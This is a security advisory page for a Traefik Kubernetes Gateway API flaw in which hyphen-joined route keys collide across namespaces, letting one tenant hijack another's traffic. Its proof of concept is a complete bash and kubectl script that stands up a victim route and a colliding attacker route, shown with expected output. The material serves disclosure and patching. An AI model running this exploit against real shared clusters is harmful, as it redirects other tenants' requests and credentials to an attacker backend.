Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
AC:H captures the naming-collision prerequisite; PR:L reflects required route-creation permission; S:C because a route in one namespace hijacks traffic scoped to another.
Primary rating from Vendor (https://github.com/traefik/traefik).
CVSS VectorVendor: https://github.com/traefik/traefik
Lifecycle Timeline
6DescriptionCVE.org
Summary
There is a high severity vulnerability in Traefik's Kubernetes Gateway API provider. Router and service identities for HTTPRoute, GRPCRoute, TCPRoute and TLSRoute objects were built by hyphen-concatenating the route namespace, the route name, the Gateway identity, the entry point and the rule index, a construction that is not injective because Kubernetes names may themselves contain hyphens. Two distinct Routes attached to the same Gateway with equivalent match rules can therefore produce the same identity, and the Route loaded later silently overwrites the earlier one, so a tenant able to create an accepted Route in a colliding namespace/name combination can redirect another namespace's traffic to a backend it controls. All Traefik v3 minor lines are affected; the lines older than v3.6 are no longer maintained and will not receive a patch of their own, so users running them should upgrade to a maintained, patched release.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.6.25
- https://github.com/traefik/traefik/releases/tag/v3.7.10
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
Traefik's Kubernetes Gateway provider constructs internal HTTPRoute and GRPCRoute identities by concatenating namespace, route name, Gateway identity, entrypoint, and rule index with hyphens. Kubernetes names may themselves contain hyphens, so the construction is not injective.
For example, HTTPRoutes team/a-app and team-a/app, attached to the same Gateway with the same match rule, produce identical router and service keys. During configuration merging, the route loaded later overwrites the earlier route's maps. A tenant that can create an accepted Route in a colliding namespace/name combination can therefore redirect another namespace's traffic to an attacker-controlled backend.
The official v3.7.8 binary was reproduced returning the victim backend before the second Route was created and the attacker backend immediately afterward. The victim Route had the earlier creation timestamp and should win the equivalent-match conflict under Gateway API precedence rules.
Details
The HTTPRoute provider creates a route key as follows:
routeKey := provider.Normalize(fmt.Sprintf(
"%s-%s-%s-gw-%s-%s-ep-%s-%d",
strings.ToLower(kindHTTPRoute),
route.Namespace,
route.Name,
gatewayNamespace,
gatewayName,
listener.EPName,
ri,
))Normalize replaces non-alphanumeric runs with -, but it does not encode field lengths or otherwise preserve component boundaries:
func Normalize(name string) string {
fargs := func(c rune) bool {
return !unicode.IsLetter(c) && !unicode.IsNumber(c)
}
return strings.Join(strings.FieldsFunc(name, fargs), "-")
}These distinct objects therefore have the same normalized key:
namespace=team, route=a-app
namespace=team-a, route=app
httproute-team-a-app-gw-gateway-shared-ep-web-0makeRouterName adds a hash of the routing rule. When the attacker copies the victim's hostname and path, that hash is also identical. Child service and middleware names are derived from the same parent identity.
Each Route is built into a temporary configuration and then merged into the provider-wide configuration with maps.Copy:
maps.Copy(to.HTTP.Routers, from.HTTP.Routers)
maps.Copy(to.HTTP.Middlewares, from.HTTP.Middlewares)
maps.Copy(to.HTTP.Services, from.HTTP.Services)
maps.Copy(to.HTTP.ServersTransports, from.HTTP.ServersTransports)maps.Copy replaces an existing value for a duplicate key. No collision is reported, and the resulting router points to the later Route's backend. The GRPCRoute implementation uses the same delimiter-free route-key format and the same HTTP configuration merge path.
Attack prerequisites
The attacker needs permission to create or modify an HTTPRoute or GRPCRoute that the shared Gateway accepts. Exploitation also requires namespace and Route names whose concatenation collides with a victim. The attacker does not need permission to read or modify the victim Route, Service, or namespace.
Proof of Concept
Prerequisites:
- a disposable Kubernetes cluster with Gateway API v1.5.1 experimental CRDs;
kubectlconfigured for that cluster;- curl;
- local TCP port 18080 available.
The following script embeds all objects used by the reproduction. It runs the official traefik:v3.7.8 image, creates the victim Route first, verifies the victim backend, then creates the colliding attacker Route and repeats the request.
#!/usr/bin/env bash
set -euo pipefail
kubectl apply -f - <<'YAML'
apiVersion: v1
kind: Namespace
metadata:
name: gateway
---
apiVersion: v1
kind: Namespace
metadata:
name: team
---
apiVersion: v1
kind: Namespace
metadata:
name: team-a
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: traefik-audit
namespace: gateway
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: traefik-route-collision-lab
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: ServiceAccount
name: traefik-audit
namespace: gateway
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: traefik-audit
namespace: gateway
spec:
replicas: 1
selector:
matchLabels:
app: traefik-audit
template:
metadata:
labels:
app: traefik-audit
spec:
serviceAccountName: traefik-audit
containers:
- name: traefik
image: traefik:v3.7.8
args:
- --entryPoints.web.address=:8000
- --providers.kubernetesgateway=true
- --global.checkNewVersion=false
- --global.sendAnonymousUsage=false
- --log.level=ERROR
ports:
- name: web
containerPort: 8000
---
apiVersion: gateway.networking.k8s.io/v1
kind: GatewayClass
metadata:
name: traefik-route-collision-lab
spec:
controllerName: traefik.io/gateway-controller
---
apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
name: shared
namespace: gateway
spec:
gatewayClassName: traefik-route-collision-lab
listeners:
- name: web
protocol: HTTP
port: 8000
allowedRoutes:
namespaces:
from: All
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: victim
namespace: team
spec:
replicas: 1
selector:
matchLabels:
app: victim
template:
metadata:
labels:
app: victim
spec:
containers:
- name: echo
image: hashicorp/http-echo:1.0.0
args: ["-listen=:5678", "-text=VICTIM_BACKEND"]
ports:
- containerPort: 5678
---
apiVersion: v1
kind: Service
metadata:
name: backend
namespace: team
spec:
selector:
app: victim
ports:
- port: 80
targetPort: 5678
---
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: a-app
namespace: team
spec:
parentRefs:
- name: shared
namespace: gateway
hostnames: ["collision.example"]
rules:
- matches:
- path:
type: PathPrefix
value: /
backendRefs:
- name: backend
port: 80
YAML
kubectl -n gateway rollout status deployment/traefik-audit --timeout=120s
kubectl -n team rollout status deployment/victim --timeout=120s
kubectl -n gateway port-forward deployment/traefik-audit 18080:8000 \
>/dev/null 2>&1 &
PORT_FORWARD_PID=$!
trap 'kill "$PORT_FORWARD_PID" 2>/dev/null || true' EXIT
for _ in $(seq 1 60); do
RESPONSE=$(curl -sS -H 'Host: collision.example' \
http://127.0.0.1:18080/ 2>/dev/null || true)
if [ "$RESPONSE" = "VICTIM_BACKEND" ]; then
break
fi
sleep 1
done
printf 'before collision: %s\n' "$RESPONSE"
sleep 2
kubectl apply -f - <<'YAML'
apiVersion: apps/v1
kind: Deployment
metadata:
name: attacker
namespace: team-a
spec:
replicas: 1
selector:
matchLabels:
app: attacker
template:
metadata:
labels:
app: attacker
spec:
containers:
- name: echo
image: hashicorp/http-echo:1.0.0
args: ["-listen=:5678", "-text=ATTACKER_BACKEND"]
ports:
- containerPort: 5678
---
apiVersion: v1
kind: Service
metadata:
name: backend
namespace: team-a
spec:
selector:
app: attacker
ports:
- port: 80
targetPort: 5678
YAML
kubectl -n team-a rollout status deployment/attacker --timeout=120s
kubectl apply -f - <<'YAML'
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: app
namespace: team-a
spec:
parentRefs:
- name: shared
namespace: gateway
hostnames: ["collision.example"]
rules:
- matches:
- path:
type: PathPrefix
value: /
backendRefs:
- name: backend
port: 80
YAML
for _ in $(seq 1 60); do
RESPONSE=$(curl -sS -H 'Host: collision.example' \
http://127.0.0.1:18080/ 2>/dev/null || true)
if [ "$RESPONSE" = "ATTACKER_BACKEND" ]; then
break
fi
sleep 1
done
printf 'after collision: %s\n' "$RESPONSE"
kubectl get httproute -A --sort-by=.metadata.creationTimestampExpected output on v3.7.8:
before collision: VICTIM_BACKEND
after collision: ATTACKER_BACKEND
NAMESPACE NAME HOSTNAMES
team a-app ["collision.example"]
team-a app ["collision.example"]The first Route is older, but creating the second Route changes existing victim traffic to the attacker backend. The same test was also run with the official standalone v3.7.8 Linux amd64 binary inside an isolated k3s cluster. The release archive had SHA-256 dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7.
Impact
In a shared Gateway deployment, a Route author can hijack requests belonging to another namespace when the object names admit a collision. Requests, credentials, authorization headers, and response data can be delivered to an attacker-controlled backend. The attacker can also return forged application content or accept state-changing requests intended for the victim. The favorable naming relationship and accepted shared Gateway are reflected in the high attack-complexity rating.
</details>
---
AnalysisAI
Cross-namespace traffic hijacking in Traefik's Kubernetes Gateway API provider allows a low-privileged tenant to redirect another namespace's HTTP, GRPC, TCP, or TLS traffic to an attacker-controlled backend. The root cause is a non-injective route identity scheme: namespaces and route names are hyphen-concatenated without field delimiters, so namespace=team/route=a-app and namespace=team-a/route=app produce the identical key httproute-team-a-app-..., and the later-loaded route silently overwrites the earlier one via maps.Copy. No public exploit identified at time of analysis as a KEV entry, but a full proof-of-concept bash script is publicly available and was verified against the official traefik:v3.7.8 image. All Traefik v3 releases prior to v3.6.25 and v3.7.10 are affected.
Technical ContextAI
Traefik is a cloud-native reverse proxy and ingress controller commonly deployed on Kubernetes. Its Kubernetes Gateway API provider (CWE-694: Use of Multiple Resources with Duplicate Identifier) constructs router and service identity keys by fmt.Sprintf-concatenating the route kind, namespace, route name, gateway namespace, gateway name, entry-point name, and rule index - all delimited with hyphens - and then running the result through a Normalize() function that replaces non-alphanumeric runs with single hyphens. Because Kubernetes names are themselves hyphen-legal, the construction is not injective: field boundaries are indistinguishable in the output. The makeRouterName function appends a hash of the routing rule (hostname + path), so when an attacker copies the victim's match rule the hash is also identical. Configuration merging uses maps.Copy, which unconditionally overwrites duplicate keys. Affected route types are HTTPRoute, GRPCRoute, TCPRoute, and TLSRoute. CPE: pkg:go/github.com_traefik_traefik_v3 versions >=3.0.0,<3.6.25 and >=3.7.0,<3.7.10.
RemediationAI
Upgrade Traefik to v3.6.25 or v3.7.10, the patched releases confirmed at https://github.com/traefik/traefik/releases/tag/v3.6.25 and https://github.com/traefik/traefik/releases/tag/v3.7.10 respectively. The fix changes the hash suffix of generated router names to be derived from all identifying fields (route, Gateway, listener) rather than from the route rule alone, making the key construction injective. Note that the fix changes generated router, middleware, and service names, which are user-visible in the Traefik dashboard, API, access logs (RouterName/ServiceName fields), and Prometheus metrics labels - dashboards and alerting rules matching on Gateway API router or service name patterns must be updated. If immediate upgrade is not possible, a compensating control is to enforce strict namespace and route naming conventions via admission webhooks (e.g., OPA/Gatekeeper or Kyverno policies) that reject HTTPRoute/GRPCRoute names whose concatenation with their namespace could collide with any existing route - this is operationally complex and error-prone, so upgrading is strongly preferred. The patch PR is at https://github.com/traefik/traefik/pull/13580.
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View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
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External POC / Exploit Code
Leaving vuln.today
EUVD-2026-54299
GHSA-fgjj-px3w-67xx